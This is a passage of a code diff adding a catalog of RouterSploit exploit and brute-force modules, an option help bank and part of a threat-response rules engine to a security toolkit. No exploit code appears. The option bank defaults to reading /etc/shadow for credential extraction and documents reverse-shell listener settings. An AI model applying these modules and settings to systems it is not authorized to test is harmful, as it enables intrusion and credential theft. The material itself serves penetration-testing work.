'exploits/cameras/dlink/dcs_930l_932l_auth_bypass': { + 'name': 'D-Link DCS Cameras Auth Bypass', + 'description': 'D-Link DCS web cameras allow unauthenticated attackers to ' + 'obtain device configuration by accessing unprotected URLs.', + 'authors': ('Roberto Paleari', 'Dino Causevic'), + 'devices': ('D-Link DCS-930L fw 1.04', 'D-Link DCS-932L fw 1.02'), + 'references': ('https://www.exploit-db.com/exploits/24442/',), + 'tags': ('dlink', 'camera', 'auth_bypass', 'http'), + 'notes': 'Uses port 8080 by default.', + }, + 'exploits/cameras/cisco/video_surv_path_traversal': { + 'name': 'Cisco Video Surveillance Path Traversal', + 'description': 'Path traversal in Cisco Video Surveillance Operations ' + 'Manager 6.3.2 allowing file reads from the filesystem.', + 'authors': ('b.saleh', 'Marcin Bury'), + 'devices': ('Cisco Video Surveillance Operations Manager 6.3.2',), + 'references': ('https://www.exploit-db.com/exploits/38389/',), + 'tags': ('cisco', 'camera', 'path_traversal', 'http'), + 'notes': 'Read /etc/passwd or other files via path traversal.', + }, + 'exploits/cameras/brickcom/corp_network_cameras_conf_disclosure': { + 'name': 'Brickcom Network Camera Config Disclosure', + 'description': 'Exploits Brickcom Corporation Network Camera configuration ' + 'disclosure vulnerability to read device config and credentials.', + 'authors': ('Orwelllabs', 'Marcin Bury'), + 'devices': ('Brickcom FB-100Ae', 'Brickcom WCB-100Ap', + 'Brickcom OB-200Np-LR', 'Brickcom VD-E200Nf'), + 'references': ('https://www.exploit-db.com/exploits/39696/',), + 'tags': ('brickcom', 'camera', 'config_disclosure', 'http'), + 'notes': 'Extracts admin credentials from configuration.', + }, + + # ════════════════════════════════════════════════════════════════════════ + # EXPLOITS - GENERIC + # ════════════════════════════════════════════════════════════════════════ + + 'exploits/generic/heartbleed': { + 'name': 'OpenSSL Heartbleed', + 'description': 'Exploits OpenSSL Heartbleed vulnerability (CVE-2014-0160). ' + 'Fake heartbeat length leaks memory data from the server.', + 'authors': ('Neel Mehta', 'Jared Stafford', 'Marcin Bury'), + 'devices': ('Multi',), + 'references': ('http://www.cvedetails.com/cve/2014-0160', + 'http://heartbleed.com/'), + 'tags': ('heartbleed', 'openssl', 'ssl', 'tls', 'memory_leak', 'generic', + 'cve-2014-0160'), + 'notes': 'Tests for Heartbleed on any SSL/TLS service. ' + 'Default port 443.', + }, + 'exploits/generic/shellshock': { + 'name': 'Shellshock', + 'description': 'Exploits Shellshock vulnerability (CVE-2014-6271) allowing ' + 'OS command execution via crafted HTTP headers.', + 'authors': ('Marcin Bury',), + 'devices': ('Multi',), + 'references': ('https://access.redhat.com/articles/1200223',), + 'tags': ('shellshock', 'bash', 'rce', 'http', 'generic', 'cve-2014-6271'), + 'notes': 'Injects via HTTP headers (default: User-Agent). ' + 'Configure path and method as needed.', + }, + 'exploits/generic/ssh_auth_keys': { + 'name': 'SSH Authorized Keys', + 'description': 'Tests for known default SSH keys that ship with various ' + 'embedded devices and appliances.', + 'authors': ('Marcin Bury',), + 'devices': ('Multi',), + 'references': (), + 'tags': ('ssh', 'keys', 'default_creds', 'generic'), + 'notes': 'Checks for factory SSH keys common on IoT/embedded devices.', + }, + + # ════════════════════════════════════════════════════════════════════════ + # CREDENTIALS - GENERIC + # ════════════════════════════════════════════════════════════════════════ + + 'creds/generic/ftp_bruteforce': { + 'name': 'FTP Bruteforce', + 'description': 'Performs bruteforce attack against FTP service. ' + 'Displays valid credentials when found.', + 'authors': ('Marcin Bury',), + 'devices': ('Multiple devices',), + 'references': (), + 'tags': ('ftp', 'bruteforce', 'creds', 'generic'), + 'notes': 'Supports file:// targets for batch mode. ' + 'Default port 21. Threaded (default 8 threads).', + }, + 'creds/generic/ssh_bruteforce': { + 'name': 'SSH Bruteforce', + 'description': 'Performs bruteforce attack against SSH service. ' + 'Displays valid credentials when found.', + 'authors': ('Marcin Bury',), + 'devices': ('Multiple devices',), + 'references': (), + 'tags': ('ssh', 'bruteforce', 'creds', 'generic'), + 'notes': 'Default port 22. Threaded. Supports batch targets via file://.', + }, + 'creds/generic/telnet_bruteforce': { + 'name': 'Telnet Bruteforce', + 'description': 'Performs bruteforce attack against Telnet service. ' + 'Displays valid credentials when found.', + 'authors': ('Marcin Bury',), + 'devices': ('Multiple devices',), + 'references': (), + 'tags': ('telnet', 'bruteforce', 'creds', 'generic'), + 'notes': 'Default port 23. Common on IoT devices with telnet enabled.', + }, + 'creds/generic/snmp_bruteforce': { + 'name': 'SNMP Bruteforce', + 'description': 'Performs bruteforce attack against SNMP service. ' + 'Discovers valid community strings.', + 'authors': ('Marcin Bury',), + 'devices': ('Multiple devices',), + 'references': (), + 'tags': ('snmp', 'bruteforce', 'creds', 'generic', 'community'), + 'notes': 'Tests SNMP community strings. Default port 161. ' + 'Supports SNMPv1 and SNMPv2c.', + }, + 'creds/generic/http_basic_digest_bruteforce': { + 'name': 'HTTP Basic/Digest Bruteforce', + 'description': 'Performs bruteforce against HTTP Basic/Digest authentication. ' + 'Displays valid credentials when found.', + 'authors': ('Marcin Bury', 'Alexander Yakovlev'), + 'devices': ('Multiple devices',), + 'references': (), + 'tags': ('http', 'bruteforce', 'creds', 'generic', 'basic_auth', 'digest'), + 'notes': 'Targets HTTP authentication. Configure path to the protected URL.', + }, + + # ════════════════════════════════════════════════════════════════════════ + # SCANNERS + # ════════════════════════════════════════════════════════════════════════ + + 'scanners/autopwn': { + 'name': 'AutoPwn', + 'description': 'Comprehensive scanner that tests ALL exploit and credential ' + 'modules against a target. The ultimate "scan everything" tool.', + 'authors': ('Marcin Bury',), + 'devices': ('Multi',), + 'references': (), + 'tags': ('scanner', 'autopwn', 'comprehensive', 'all'), + 'notes': 'Runs all exploits and creds against the target. ' + 'Can be filtered by vendor. Checks HTTP, FTP, SSH, Telnet, SNMP. ' + 'Very thorough but slow. Use specific scanners for faster results.', + }, + 'scanners/routers/router_scan': { + 'name': 'Router Scanner', + 'description': 'Scans for router vulnerabilities and weaknesses. ' + 'Tests generic and router-specific exploit modules.', + 'authors': ('Marcin Bury',), + 'devices': ('Router',), + 'references': (), + 'tags': ('scanner', 'router', 'comprehensive'), + 'notes': 'Faster than AutoPwn -- only tests router-relevant modules.', + }, + 'scanners/cameras/camera_scan': { + 'name': 'Camera Scanner', + 'description': 'Scans for IP camera vulnerabilities and weaknesses. ' + 'Tests generic and camera-specific exploit modules.', + 'authors': ('Marcin Bury',), + 'devices': ('Cameras',), + 'references': (), + 'tags': ('scanner', 'camera', 'ip_camera', 'comprehensive'), + 'notes': 'Tests all camera-related exploits against the target.', + }, + + # ════════════════════════════════════════════════════════════════════════ + # EXPLOITS - MISC + # ════════════════════════════════════════════════════════════════════════ + + 'exploits/misc/asus/b1m_projector_rce': { + 'name': 'Asus B1M Projector RCE', + 'description': 'Exploits Asus B1M Projector RCE allowing root-level ' + 'command execution.', + 'authors': ('Hacker House', 'Marcin Bury'), + 'devices': ('Asus B1M Projector',), + 'references': ('https://www.myhackerhouse.com/asus-b1m-projector-remote-root-0day/',), + 'tags': ('asus', 'projector', 'rce', 'misc', 'iot'), + 'notes': 'Targets network-connected projectors.', + }, + + # ════════════════════════════════════════════════════════════════════════ + # EXPLOITS - MORE ROUTERS + # ════════════════════════════════════════════════════════════════════════ + + 'exploits/routers/linksys/smart_wifi_password_disclosure': { + 'name': 'Linksys Smart WiFi Password Disclosure', + 'description': 'Exploits information disclosure in Linksys Smart WiFi ' + 'routers to extract passwords.', + 'authors': ('Marcin Bury',), + 'devices': ('Linksys Smart WiFi routers',), + 'references': (), + 'tags': ('linksys', 'password', 'disclosure', 'router', 'http'), + 'notes': 'Targets Linksys Smart WiFi web interface.', + }, + 'exploits/routers/zyxel/d1000_rce': { + 'name': 'Zyxel D1000 RCE', + 'description': 'Exploits remote code execution in Zyxel D1000 modem/routers.', + 'authors': ('Marcin Bury',), + 'devices': ('Zyxel D1000',), + 'references': (), + 'tags': ('zyxel', 'rce', 'router', 'modem'), + 'notes': 'Targets Zyxel DSL modem/router combo devices.', + }, + 'exploits/routers/huawei/hg520_info_disclosure': { + 'name': 'Huawei HG520 Info Disclosure', + 'description': 'Information disclosure in Huawei HG520 home gateway ' + 'allowing extraction of device configuration.', + 'authors': ('Marcin Bury',), + 'devices': ('Huawei HG520',), + 'references': (), + 'tags': ('huawei', 'info_disclosure', 'router', 'http'), + 'notes': 'Targets Huawei home gateway web interface.', + }, +} + + +# ─── Module Type Mapping ──────────────────────────────────────────────────── + +MODULE_TYPES = { + 'exploits': { + 'name': 'Exploits', + 'description': 'Vulnerability exploits for routers, cameras, and devices', + 'color': Colors.RED, + }, + 'creds': { + 'name': 'Credentials', + 'description': 'Default credential and brute-force modules', + 'color': Colors.YELLOW, + }, + 'scanners': { + 'name': 'Scanners', + 'description': 'Automated vulnerability scanners (AutoPwn, etc.)', + 'color': Colors.CYAN, + }, + 'payloads': { + 'name': 'Payloads', + 'description': 'Shellcode and payload generators', + 'color': Colors.MAGENTA, + }, + 'encoders': { + 'name': 'Encoders', + 'description': 'Payload encoding and obfuscation', + 'color': Colors.GREEN, + }, +} + + +# ─── API Functions ────────────────────────────────────────────────────────── + +def get_module_info(module_path: str) -> dict: + """Get curated module info by path. + + Args: + module_path: Module path like 'exploits/routers/dlink/dir_300_600_rce' + + Returns: + Module info dict or None + """ + return RSF_MODULES.get(module_path) + + +def get_module_description(module_path: str) -> str: + """Get just the description for a module. + + Args: + module_path: Module path + + Returns: + Description string or empty string + """ + info = RSF_MODULES.get(module_path) + if info: + return info.get('description', '') + return '' + + +def search_modules(query: str) -> list: + """Search curated modules by keyword. + + Searches name, description, tags, devices, and path. + + Args: + query: Search string (case-insensitive) + + Returns: + List of matching module info dicts (with 'path' key added) + """ + results = [] + query_lower = query.lower() + + for path, info in RSF_MODULES.items(): + # Search in path + if query_lower in path.lower(): + results.append({**info, 'path': path}) + continue + + # Search in name + if query_lower in info.get('name', '').lower(): + results.append({**info, 'path': path}) + continue + + # Search in description + if query_lower in info.get('description', '').lower(): + results.append({**info, 'path': path}) + continue + + # Search in tags + if any(query_lower in tag.lower() for tag in info.get('tags', ())): + results.append({**info, 'path': path}) + continue + + # Search in devices + if any(query_lower in dev.lower() for dev in info.get('devices', ())): + results.append({**info, 'path': path}) + continue + + return results + + +def get_modules_by_type(module_type: str) -> list: + """Get curated modules filtered by type. + + Args: + module_type: One of 'exploits', 'creds', 'scanners', etc. + + Returns: + List of matching module info dicts (with 'path' key added) + """ + results = [] + for path, info in RSF_MODULES.items(): + if path.startswith(module_type + '/'): + results.append({**info, 'path': path}) + return results + + +def format_module_help(module_path: str) -> str: + """Format detailed help text for a module. + + Args: + module_path: Module path + + Returns: + Formatted help string + """ + info = RSF_MODULES.get(module_path) + if not info: + return f" {Colors.YELLOW}No curated info for '{module_path}'{Colors.RESET}" + + lines = [] + lines.append(f" {Colors.BOLD}{Colors.WHITE}{info.get('name', module_path)}{Colors.RESET}") + lines.append(f" {Colors.DIM}Path: {module_path}{Colors.RESET}") + lines.append(f"") + lines.append(f" {info.get('description', '')}") + + if info.get('authors'): + authors = ', '.join(info['authors']) + lines.append(f"") + lines.append(f" {Colors.CYAN}Authors:{Colors.RESET} {authors}") + + if info.get('devices'): + lines.append(f" {Colors.CYAN}Devices:{Colors.RESET}") + for dev in info['devices']: + lines.append(f" - {dev}") + + if info.get('references'): + lines.append(f" {Colors.CYAN}References:{Colors.RESET}") + for ref in info['references']: + lines.append(f" {Colors.DIM}{ref}{Colors.RESET}") + + if info.get('notes'): + lines.append(f"") + lines.append(f" {Colors.YELLOW}Note:{Colors.RESET} {info['notes']}") + + return '\n'.join(lines) + + +def get_all_modules() -> dict: + """Get all curated modules. + + Returns: + The full RSF_MODULES dict + """ + return RSF_MODULES + + +def get_type_info(module_type: str) -> dict: + """Get info about a module type. + + Args: + module_type: One of 'exploits', 'creds', 'scanners', etc. + + Returns: + Type info dict or None + """ + return MODULE_TYPES.get(module_type) diff --git a/core/rsf_terms.py b/core/rsf_terms.py new file mode 100644 index 0000000..7018fca --- /dev/null +++ b/core/rsf_terms.py @@ -0,0 +1,439 @@ +""" +AUTARCH RouterSploit Option Term Bank +Centralized descriptions and validation for RSF module options. +Mirrors core/msf_terms.py patterns for RSF-specific options. +""" + +from .banner import Colors + + +# ─── RSF Settings Definitions ─────────────────────────────────────────────── + +RSF_SETTINGS = { + # ── Target Options ────────────────────────────────────────────────────── + 'target': { + 'description': 'Target IPv4 or IPv6 address of the device to test. ' + 'Can also be set to file:// path for batch targeting ' + '(e.g. file:///tmp/targets.txt with one IP per line).', + 'input_type': 'ip', + 'examples': ['192.168.1.1', '10.0.0.1', 'file:///tmp/targets.txt'], + 'default': '', + 'aliases': ['TARGET', 'rhost'], + 'category': 'target', + 'required': True, + 'notes': 'Most RSF modules require a target. Batch mode via file:// ' + 'is supported by modules decorated with @multi.', + }, + 'port': { + 'description': 'Target port number for the service being tested. ' + 'Default depends on the module protocol (80 for HTTP, ' + '21 for FTP, 22 for SSH, etc.).', + 'input_type': 'port', + 'examples': ['80', '443', '8080', '22'], + 'default': '', + 'aliases': ['PORT', 'rport'], + 'category': 'target', + 'required': False, + 'notes': 'Each module sets an appropriate default port. Only override ' + 'if the target runs on a non-standard port.', + }, + 'ssl': { + 'description': 'Enable SSL/TLS for the connection. Set to true for ' + 'HTTPS targets or services using encrypted transport.', + 'input_type': 'boolean', + 'examples': ['true', 'false'], + 'default': 'false', + 'aliases': ['SSL', 'use_ssl'], + 'category': 'connection', + 'required': False, + 'notes': 'Automatically set for modules targeting HTTPS services.', + }, + + # ── Authentication/Credential Options ─────────────────────────────────── + 'threads': { + 'description': 'Number of threads for brute-force or scanning operations. ' + 'Higher values are faster but may trigger rate-limiting.', + 'input_type': 'integer', + 'examples': ['1', '4', '8', '16'], + 'default': '8', + 'aliases': ['THREADS'], + 'category': 'scan', + 'required': False, + 'notes': 'Default is typically 8. Reduce for slower targets or to ' + 'avoid detection. Increase for LAN testing.', + }, + 'usernames': { + 'description': 'Username or wordlist for credential testing. ' + 'Single value, comma-separated list, or file path.', + 'input_type': 'wordlist', + 'examples': ['admin', 'admin,root,user', 'file:///tmp/users.txt'], + 'default': 'admin', + 'aliases': ['USERNAMES', 'username'], + 'category': 'auth', + 'required': False, + 'notes': 'For brute-force modules. Use file:// prefix for wordlist files. ' + 'Default credential modules have built-in lists.', + }, + 'passwords': { + 'description': 'Password or wordlist for credential testing. ' + 'Single value, comma-separated list, or file path.', + 'input_type': 'wordlist', + 'examples': ['password', 'admin,password,1234', 'file:///tmp/pass.txt'], + 'default': '', + 'aliases': ['PASSWORDS', 'password'], + 'category': 'auth', + 'required': False, + 'notes': 'For brute-force modules. Default credential modules use ' + 'built-in vendor-specific password lists.', + }, + 'stop_on_success': { + 'description': 'Stop brute-force attack after finding the first valid ' + 'credential pair.', + 'input_type': 'boolean', + 'examples': ['true', 'false'], + 'default': 'true', + 'aliases': ['STOP_ON_SUCCESS'], + 'category': 'auth', + 'required': False, + 'notes': 'Set to false to enumerate all valid credentials.', + }, + + # ── Verbosity/Output Options ──────────────────────────────────────────── + 'verbosity': { + 'description': 'Control output verbosity level. When true, modules ' + 'print detailed progress information.', + 'input_type': 'boolean', + 'examples': ['true', 'false'], + 'default': 'true', + 'aliases': ['VERBOSITY', 'verbose'], + 'category': 'output', + 'required': False, + 'notes': 'Disable for cleaner output during automated scanning.', + }, + + # ── Protocol-Specific Ports ───────────────────────────────────────────── + 'http_port': { + 'description': 'HTTP port for web-based exploits and scanners.', + 'input_type': 'port', + 'examples': ['80', '8080', '8443'], + 'default': '80', + 'aliases': ['HTTP_PORT'], + 'category': 'target', + 'required': False, + 'notes': 'Used by HTTP-based modules. Change for non-standard web ports.', + }, + 'ftp_port': { + 'description': 'FTP port for file transfer protocol modules.', + 'input_type': 'port', + 'examples': ['21', '2121'], + 'default': '21', + 'aliases': ['FTP_PORT'], + 'category': 'target', + 'required': False, + 'notes': 'Standard FTP port is 21.', + }, + 'ssh_port': { + 'description': 'SSH port for secure shell modules.', + 'input_type': 'port', + 'examples': ['22', '2222'], + 'default': '22', + 'aliases': ['SSH_PORT'], + 'category': 'target', + 'required': False, + 'notes': 'Standard SSH port is 22.', + }, + 'telnet_port': { + 'description': 'Telnet port for telnet-based modules.', + 'input_type': 'port', + 'examples': ['23', '2323'], + 'default': '23', + 'aliases': ['TELNET_PORT'], + 'category': 'target', + 'required': False, + 'notes': 'Standard Telnet port is 23. Many IoT devices use telnet.', + }, + 'snmp_port': { + 'description': 'SNMP port for SNMP-based modules.', + 'input_type': 'port', + 'examples': ['161'], + 'default': '161', + 'aliases': ['SNMP_PORT'], + 'category': 'target', + 'required': False, + 'notes': 'Standard SNMP port is 161.', + }, + 'snmp_community': { + 'description': 'SNMP community string for SNMP-based modules.', + 'input_type': 'string', + 'examples': ['public', 'private'], + 'default': 'public', + 'aliases': ['SNMP_COMMUNITY', 'community'], + 'category': 'auth', + 'required': False, + 'notes': 'Default community strings "public" and "private" are common ' + 'on unconfigured devices.', + }, + + # ── File/Path Options ─────────────────────────────────────────────────── + 'filename': { + 'description': 'File path to read or write on the target device. ' + 'Used by path traversal and file disclosure modules.', + 'input_type': 'string', + 'examples': ['/etc/passwd', '/etc/shadow', '/etc/config/shadow'], + 'default': '/etc/shadow', + 'aliases': ['FILENAME', 'filepath'], + 'category': 'file', + 'required': False, + 'notes': 'Common targets: /etc/passwd, /etc/shadow for credential extraction.', + }, + + # ── Payload Options ───────────────────────────────────────────────────── + 'lhost': { + 'description': 'Local IP address for reverse connections (listener).', + 'input_type': 'ip', + 'examples': ['192.168.1.100', '10.0.0.50'], + 'default': '', + 'aliases': ['LHOST'], + 'category': 'payload', + 'required': False, + 'notes': 'Required for reverse shell payloads. Use your attacker IP.', + }, + 'lport': { + 'description': 'Local port for reverse connections (listener).', + 'input_type': 'port', + 'examples': ['4444', '5555', '8888'], + 'default': '5555', + 'aliases': ['LPORT'], + 'category': 'payload', + 'required': False, + 'notes': 'Required for reverse shell payloads.', + }, + 'rport': { + 'description': 'Remote port for bind shell connections.', + 'input_type': 'port', + 'examples': ['5555', '4444'], + 'default': '5555', + 'aliases': ['RPORT'], + 'category': 'payload', + 'required': False, + 'notes': 'Required for bind shell payloads.', + }, + 'encoder': { + 'description': 'Encoder to use for payload obfuscation.', + 'input_type': 'string', + 'examples': ['base64', 'xor'], + 'default': '', + 'aliases': ['ENCODER'], + 'category': 'payload', + 'required': False, + 'notes': 'Optional. Available encoders depend on payload architecture.', + }, + 'output': { + 'description': 'Output format for generated payloads.', + 'input_type': 'string', + 'examples': ['python', 'elf', 'c'], + 'default': 'python', + 'aliases': ['OUTPUT'], + 'category': 'payload', + 'required': False, + 'notes': 'Architecture-specific payloads support elf, c, and python output.', + }, + + # ── Vendor/Device Options ─────────────────────────────────────────────── + 'vendor': { + 'description': 'Target device vendor for vendor-specific modules.', + 'input_type': 'string', + 'examples': ['dlink', 'cisco', 'netgear', 'tp-link'], + 'default': '', + 'aliases': ['VENDOR'], + 'category': 'target', + 'required': False, + 'notes': 'Used to filter modules by vendor.', + }, +} + + +# ── Setting Categories ────────────────────────────────────────────────────── + +SETTING_CATEGORIES = { + 'target': { + 'name': 'Target Options', + 'description': 'Target device addressing', + 'color': Colors.RED, + }, + 'connection': { + 'name': 'Connection Options', + 'description': 'Network connection parameters', + 'color': Colors.CYAN, + }, + 'auth': { + 'name': 'Authentication Options', + 'description': 'Credentials and authentication', + 'color': Colors.YELLOW, + }, + 'scan': { + 'name': 'Scan Options', + 'description': 'Scanning and threading parameters', + 'color': Colors.GREEN, + }, + 'output': { + 'name': 'Output Options', + 'description': 'Verbosity and output control', + 'color': Colors.WHITE, + }, + 'file': { + 'name': 'File Options', + 'description': 'File path parameters', + 'color': Colors.MAGENTA, + }, + 'payload': { + 'name': 'Payload Options', + 'description': 'Payload generation and delivery', + 'color': Colors.RED, + }, +} + + +# ─── API Functions ────────────────────────────────────────────────────────── + +def get_setting_info(name: str) -> dict: + """Get full setting information by name. + + Checks primary name first, then aliases. + + Args: + name: Setting name (case-insensitive) + + Returns: + Setting dict or None + """ + name_lower = name.lower() + + # Direct lookup + if name_lower in RSF_SETTINGS: + return RSF_SETTINGS[name_lower] + + # Alias lookup + for key, info in RSF_SETTINGS.items(): + if name_lower in [a.lower() for a in info.get('aliases', [])]: + return info + + return None + + +def get_setting_prompt(name: str, default=None, required: bool = False) -> str: + """Get a formatted input prompt for a setting. + + Args: + name: Setting name + default: Default value to show + required: Whether the setting is required + + Returns: + Formatted prompt string + """ + info = get_setting_info(name) + + if info: + if default is None: + default = info.get('default', '') + desc = info.get('description', '').split('.')[0] # First sentence + req = f" {Colors.RED}(required){Colors.RESET}" if required else "" + if default: + return f" {Colors.WHITE}{name}{Colors.RESET} [{default}]{req}: " + return f" {Colors.WHITE}{name}{Colors.RESET}{req}: " + else: + if default: + return f" {Colors.WHITE}{name}{Colors.RESET} [{default}]: " + return f" {Colors.WHITE}{name}{Colors.RESET}: " + + +def format_setting_help(name: str, include_examples: bool = True, + include_notes: bool = True) -> str: + """Get formatted help text for a setting. + + Args: + name: Setting name + include_examples: Include usage examples + include_notes: Include additional notes + + Returns: + Formatted help string + """ + info = get_setting_info(name) + if not info: + return f" {Colors.YELLOW}No help available for '{name}'{Colors.RESET}" + + lines = [] + lines.append(f" {Colors.BOLD}{Colors.WHITE}{name.upper()}{Colors.RESET}") + lines.append(f" {info['description']}") + + if info.get('input_type'): + lines.append(f" {Colors.DIM}Type: {info['input_type']}{Colors.RESET}") + + if info.get('default'): + lines.append(f" {Colors.DIM}Default: {info['default']}{Colors.RESET}") + + if include_examples and info.get('examples'): + lines.append(f" {Colors.DIM}Examples: {', '.join(info['examples'])}{Colors.RESET}") + + if include_notes and info.get('notes'): + lines.append(f" {Colors.DIM}Note: {info['notes']}{Colors.RESET}") + + return '\n'.join(lines) + + +def validate_setting_value(name: str, value: str) -> tuple: + """Validate a setting value against its type. + + Args: + name: Setting name + value: Value to validate + + Returns: + Tuple of (is_valid, error_message) + """ + info = get_setting_info(name) + if not info: + return True, "" # Unknown settings pass validation + + input_type = info.get('input_type', 'string') + + if input_type == 'port': + try: + port = int(value) + if 0 <= port <= 65535: + return True, "" + return False, "Port must be between 0 and 65535" + except ValueError: + return False, "Port must be a number" + + elif input_type == 'ip': + # Allow file:// paths for batch targeting + if value.startswith('file://'): + return True, "" + # Basic IPv4 validation + import re + if re.match(r'^(\d{1,3}\.){3}\d{1,3}$', value): + parts = value.split('.') + if all(0 <= int(p) <= 255 for p in parts): + return True, "" + return False, "Invalid IP address octets" + # IPv6 - basic check + if ':' in value: + return True, "" + return False, "Expected IPv4 address, IPv6 address, or file:// path" + + elif input_type == 'boolean': + if value.lower() in ('true', 'false', '1', '0', 'yes', 'no'): + return True, "" + return False, "Expected true/false" + + elif input_type == 'integer': + try: + int(value) + return True, "" + except ValueError: + return False, "Expected an integer" + + return True, "" diff --git a/core/rules.py b/core/rules.py new file mode 100644 index 0000000..539b276 --- /dev/null +++ b/core/rules.py @@ -0,0 +1,333 @@ +""" +AUTARCH Automation Rules Engine +Condition-action rules for autonomous threat response. + +Rules are JSON-serializable and stored in data/automation_rules.json. +The engine evaluates conditions against a threat context dict and returns +matching rules with resolved action parameters. +""" + +import json +import logging +import re +import ipaddress +import uuid +from datetime import datetime +from pathlib import Path +from typing import List, Dict, Any, Optional, Tuple +from dataclasses import dataclass, field, asdict + +_logger = logging.getLogger('autarch.rules') + + +@dataclass +class Rule: + """A single automation rule.""" + id: str + name: str + enabled: bool = True + priority: int = 50 # 0=highest, 100=lowest + conditions: List[Dict] = field(default_factory=list) # AND-combined + actions: List[Dict] = field(default_factory=list) + cooldown_seconds: int = 60 + last_triggered: Optional[str] = None # ISO timestamp + created: Optional[str] = None + description: str = '' + + def to_dict(self) -> dict: + return asdict(self) + + @classmethod + def from_dict(cls, d: dict) -> 'Rule': + return cls( + id=d.get('id', str(uuid.uuid4())[:8]), + name=d.get('name', 'Untitled'), + enabled=d.get('enabled', True), + priority=d.get('priority', 50), + conditions=d.get('conditions', []), + actions=d.get('actions', []), + cooldown_seconds=d.get('cooldown_seconds', 60), + last_triggered=d.get('last_triggered'), + created=d.get('created'), + description=d.get('description', ''), + ) + + +class RulesEngine: + """Evaluates automation rules against a threat context.""" + + RULES_PATH = Path(__file__).parent.parent / 'data' / 'automation_rules.json' + + CONDITION_TYPES = { + 'threat_score_above', 'threat_score_below', 'threat_level_is', + 'port_scan_detected', 'ddos_detected', 'ddos_attack_type', + 'connection_from_ip', 'connection_count_above', + 'new_listening_port', 'bandwidth_rx_above_mbps', + 'arp_spoof_detected', 'schedule', 'always', + } + + ACTION_TYPES = { + 'block_ip', 'unblock_ip', 'rate_limit_ip', 'block_port', + 'kill_process', 'alert', 'log_event', 'run_shell', + 'run_module', 'counter_scan', 'escalate_to_lam', + } + + def __init__(self): + self._rules: List[Rule] = [] + self._load() + + def _load(self): + """Load rules from JSON file.""" + if not self.RULES_PATH.exists(): + self._rules = [] + return + try: + data = json.loads(self.RULES_PATH.read_text(encoding='utf-8')) + self._rules = [Rule.from_dict(r) for r in data.get('rules', [])] + _logger.info(f"[Rules] Loaded {len(self._rules)} rules") + except Exception as e: + _logger.error(f"[Rules] Failed to load rules: {e}") + self._rules = [] + + def save(self): + """Save rules to JSON file.""" + self.RULES_PATH.parent.mkdir(parents=True, exist_ok=True) + data = { + 'version': 1, + 'rules': [r.to_dict() for r in self._rules], + } + self.RULES_PATH.write_text(json.dumps(data, indent=2), encoding='utf-8') + + def add_rule(self, rule: Rule) -> Rule: + if not rule.created: + rule.created = datetime.now().isoformat() + self._rules.append(rule) + self._rules.sort(key=lambda r: r.priority) + self.save() + return rule + + def update_rule(self, rule_id: str, updates: dict) -> Optional[Rule]: + for rule in self._rules: + if rule.id == rule_id: + for key, value in updates.items(): + if hasattr(rule, key) and key != 'id': + setattr(rule, key, value) + self._rules.sort(key=lambda r: r.priority) + self.save() + return rule + return None + + def delete_rule(self, rule_id: str) -> bool: + before = len(self._rules) + self._rules = [r for r in self._rules if r.id != rule_id] + if len(self._rules) < before: + self.save() + return True + return False + + def get_rule(self, rule_id: str) -> Optional[Rule]: + for rule in self._rules: + if rule.id == rule_id: + return rule + return None + + def get_all_rules(self) -> List[Rule]: + return list(self._rules) + + def evaluate(self, context: Dict[str, Any]) -> List[Tuple[Rule, List[Dict]]]: + """Evaluate all enabled rules against a threat context. + + Args: + context: Dict with keys from ThreatMonitor / AutonomyDaemon: + - threat_score: {'score': int, 'level': str, 'details': [...]} + - connection_count: int + - connections: [...] + - ddos: {'under_attack': bool, 'attack_type': str, ...} + - new_ports: [{'port': int, 'process': str}, ...] + - arp_alerts: [...] + - bandwidth: {'rx_mbps': float, 'tx_mbps': float} + - scan_indicators: int + - timestamp: str + + Returns: + List of (Rule, resolved_actions) for rules that match and aren't in cooldown. + """ + matches = [] + now = datetime.now() + + for rule in self._rules: + if not rule.enabled: + continue + + # Check cooldown + if rule.last_triggered: + try: + last = datetime.fromisoformat(rule.last_triggered) + if (now - last).total_seconds() < rule.cooldown_seconds: + continue + except (ValueError, TypeError): + pass + + # Evaluate all conditions (AND logic) + if not rule.conditions: + continue + + all_match = all( + self._evaluate_condition(cond, context) + for cond in rule.conditions + ) + + if all_match: + # Resolve action variables + resolved = [self._resolve_variables(a, context) for a in rule.actions] + matches.append((rule, resolved)) + + # Mark triggered + rule.last_triggered = now.isoformat() + + # Save updated trigger times + if matches: + self.save() + + return matches + + def _evaluate_condition(self, condition: dict, context: dict) -> bool: + """Evaluate a single condition against context.""" + ctype = condition.get('type', '') + value = condition.get('value') + + if ctype == 'threat_score_above': + return context.get('threat_score', {}).get('score', 0) > (value or 0) + + elif ctype == 'threat_score_below': + return context.get('threat_score', {}).get('score', 0) < (value or 100) + + elif ctype == 'threat_level_is': + return context.get('threat_score', {}).get('level', 'LOW') == (value or 'HIGH') + + elif ctype == 'port_scan_detected': + return context.get('scan_indicators', 0) > 0 + + elif ctype == 'ddos_detected': + return context.get('ddos', {}).get('under_attack', False) + + elif ctype == 'ddos_attack_type': + return context.get('ddos', {}).get('attack_type', '') == (value or '') + + elif ctype == 'connection_from_ip': + return self._check_ip_match(value, context.get('connections', [])) + + elif ctype == 'connection_count_above': + return context.get('connection_count', 0) > (value or 0) + + elif ctype == 'new_listening_port': + return len(context.get('new_ports', [])) > 0 + + elif ctype == 'bandwidth_rx_above_mbps': + return context.get('bandwidth', {}).get('rx_mbps', 0) > (value or 0) + + elif ctype == 'arp_spoof_detected': + return len(context.get('arp_alerts', [])) > 0 + + elif ctype == 'schedule': + return self._check_cron(condition.get('cron', '')) + + elif ctype == 'always': + return True + + _logger.warning(f"[Rules] Unknown condition type: {ctype}") + return False + + def _check_ip_match(self, pattern: str, connections: list) -> bool: + """Check if any connection's remote IP matches a pattern (IP or CIDR).""" + if not pattern: + return False + try: + network = ipaddress.ip_network(pattern, strict=False) + for conn in connections: + remote = conn.get('remote_addr', '') + if remote and remote not in ('0.0.0.0', '::', '127.0.0.1', '::1', '*'): + try: + if ipaddress.ip_address(remote) in network: + return True + except ValueError: + continue + except ValueError: + # Not a valid IP/CIDR, try exact match + return any(conn.get('remote_addr') == pattern for conn in connections) + return False + + def _check_cron(self, cron_expr: str) -> bool: + """Minimal 5-field cron matcher: minute hour day month weekday. + + Supports * and */N. Does not support ranges or lists. + """ + if not cron_expr: + return False + + parts = cron_expr.strip().split() + if len(parts) != 5: + return False + + now = datetime.now() + current = [now.minute, now.hour, now.day, now.month, now.isoweekday() % 7] + + for field_val, pattern in zip(current, parts): + if pattern == '*': + continue + if pattern.startswith('*/'): + try: + step = int(pattern[2:]) + if step > 0 and field_val % step != 0: 